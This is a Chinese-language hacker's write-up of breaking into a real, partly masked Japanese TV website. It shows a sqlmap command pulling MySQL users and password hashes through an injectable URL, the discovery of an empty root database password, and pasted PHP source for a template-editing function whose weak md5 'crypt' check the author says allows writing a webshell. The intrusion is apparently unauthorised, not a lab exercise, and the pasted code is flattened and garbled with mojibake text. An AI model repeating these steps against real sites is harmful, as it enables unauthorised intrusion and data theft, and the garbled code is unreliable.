linux平台下渗透日本著名XXXXXX.TV

写文件？!
magic_quotes_gpc=on...我竟然把该死的gpc给忘了....写不了文件，又是nobody,还能干什么吗？先用工具跑下表段，数据库信息。
knell@Knell-SuckEr:~/sqlmap$ sudo ./sqlmap.py -u "http://www.xxxxx.tv/us/faq.html?faqid=1" -v 1 --string "ball_arrow" --users --passwords (这个工具知道的人不多...讲下参数,-u当然是url了,-v是显示等级,1是显示所有细节。 --string就是true page的特征字符串 --users --passwords是mysql.user里的列名)

这个程序员习惯真是不好...代码又是超级长，而且只管数据库连接的，竟然也N多其他函数...
不过要的东西已经有了....root的密码.......是空的....
$db = mysql_connect("localhost", "root", "");
.用脚指头想想都能知道,肯定是不允许外连...本想连上库，dump数据走人，看来现在只能搞个shell了....
那要怎么搞shell呢？呵呵，天无绝人之路哦。

于是我挨个读他的程序...郁闷，字段暴出的数据没换行，看起来超级累啊....
现在从数据库上下手是够呛了，不过找有文件操作功能,或者包含,命令执行漏洞还是可行的.
于是找啊找..先是在libs2.php里。

哇塞...好经典的代码啊..
function WriteTextFile($FileName, $TextData){$fp = fopen($FileName, "w");fputs($fp, $TextData);fclose($fp);}
这个函数传参直接是filename,textdata,也就是，找到用这个函数的程序，在reg_globals为on的情况下，基本就能直接利用写个webshell哦。

找啊找。。。找啊找。。其实已经是第三次找了..前两次都是找了N久没收获....离第一次渗透过去N天了..
最后也没找到用这个函数的文件，倒是有个更搞的:
function _template_textedit(){global $_SERVER;$crypt = md5($_REQUEST[file].$_SERVER[REMOTE_ADDR]);if ($_REQUEST[crypt]$crypt) die("_template_textedit password error");if (preg_match("/debugmsg/i", $_POST[text])) die("_template_textedit debug command error");@header('Content-Type: text/html; charset=UTF-8');echo TextEdit $_REQUEST[file]function HideFrame(){document.getElementById('iframe').innerHTML = '';}function ShowFrame_Upload(){document.getElementById('iframe').innerHTML = '';}function ShowFrame_List(){document.getElementById('iframe').innerHTML = '';}EOF;$dir = str_replace(basename($_SERVER[PHP_SELF]), "", $_SERVER[PHP_SELF]);if ($_POST[cmd]=="Update" && $_REQUEST[file]""){if (@copy("$_REQUEST[file]", "$_REQUEST[file]._backup".date("YmdHis"))){chmod("$_REQUEST[file]._backup".date("YmdHis"), 0666);} else {echo "./$_REQUEST[file]._backup".date("YmdHis")." 銇浉銇嶈炯銇裤亴鍑烘潵銇俱仜銈撱 傘儑銈ｃ儸銈 儓銉 睘鎬с倰 777 銇 ō瀹氥仚銈嬪繀瑕併亴銇傘倞銇俱仚銆?/font>";}if ($fp = @fopen("$_REQUEST[file]", "w")){fputs($fp, stripslashes($_POST[text]));fclose($fp);} else {echo "./$_REQUEST[file] 銇 浉銇嶈炯銇裤亴鍑烘潵銇俱仜銈撱 傘儑銈ｃ儸銈儓銉?銉曘偂銈ゃ儷灞炴 с倰 666 銇 ō瀹氥仚銈嬪繀瑕併亴銇傘倞銇俱仚銆?/font>";}} elseif ($_POST[cmd]=="Preview" && $_REQUEST[file]""){$fp = fopen("__preview.html", "w");fputs($fp, stripslashes($_POST[text]));fclose($fp);$file = @file("__preview.html");$text = @implode("", $file);$template = new TemplateHTML();$template->Template = $text;echo $template->HTML();}if ($_REQUEST[file]""){$file = @file($_REQUEST[file]);$text = @implode("", $file);if ($_REQUEST[file]=="(new)"){$action = "$_SERVER[PHP_SELF]?job=$_REQUEST[job]&crypt=$crypt";$filename = EOF;} else {$action = "$_SERVER[PHP_SELF]?job=$_REQUEST[job]&file=$_REQUEST[file]&crypt=$crypt";$fdate = date("Y/m/d H:i:s", filectime($_REQUEST[file]));$filename = EOF;}if (file_exists("./upload")){$fileupload = EOF;}$text = htmlspecialchars($text);echo $textEditFile: $dir$_REQUEST[file] $filename$fileupload-->
比较乱...慢慢看!
global $_SERVER;$crypt = md5($_REQUEST[file].$_SERVER[REMOTE_ADDR]);if ($_REQUEST[crypt]$crypt) die("_template_textedit password error");
REMOTE_ADDR也就是访问者的公网IP了，而file是request的,然后这个crypt就是把filename&remote_addr用md5加密.....看到这里真是想笑...这也叫crypt.....?

既然这一关过了，继续看下去：
$_SERVER[PHP_SELF]?job=$_REQUEST[job]&file=$_REQUEST[file]&crypt=$crypt
后面是指定的文件与这个不堪一击的crypt,那么，这个job到底是可以做什么呢？往上跟：
看到这一段:
';}function ShowFrame_List(){document.getElementById('iframe').innerHTML = '';}EOF;$dir = str_replace(basename($_SERVER[PHP_SELF]), "", $_SERVER[PHP_SELF]);if ($_POST[cmd]=="Update" && $_REQUEST[file]""){if (@copy("$_REQUEST[file]", "$_REQUEST[file]._backup".date("YmdHis"))){chmod("$_REQUEST[file]._backup".date("YmdHis"), 0666);}
已经可以利用了....不过还有更直接的！
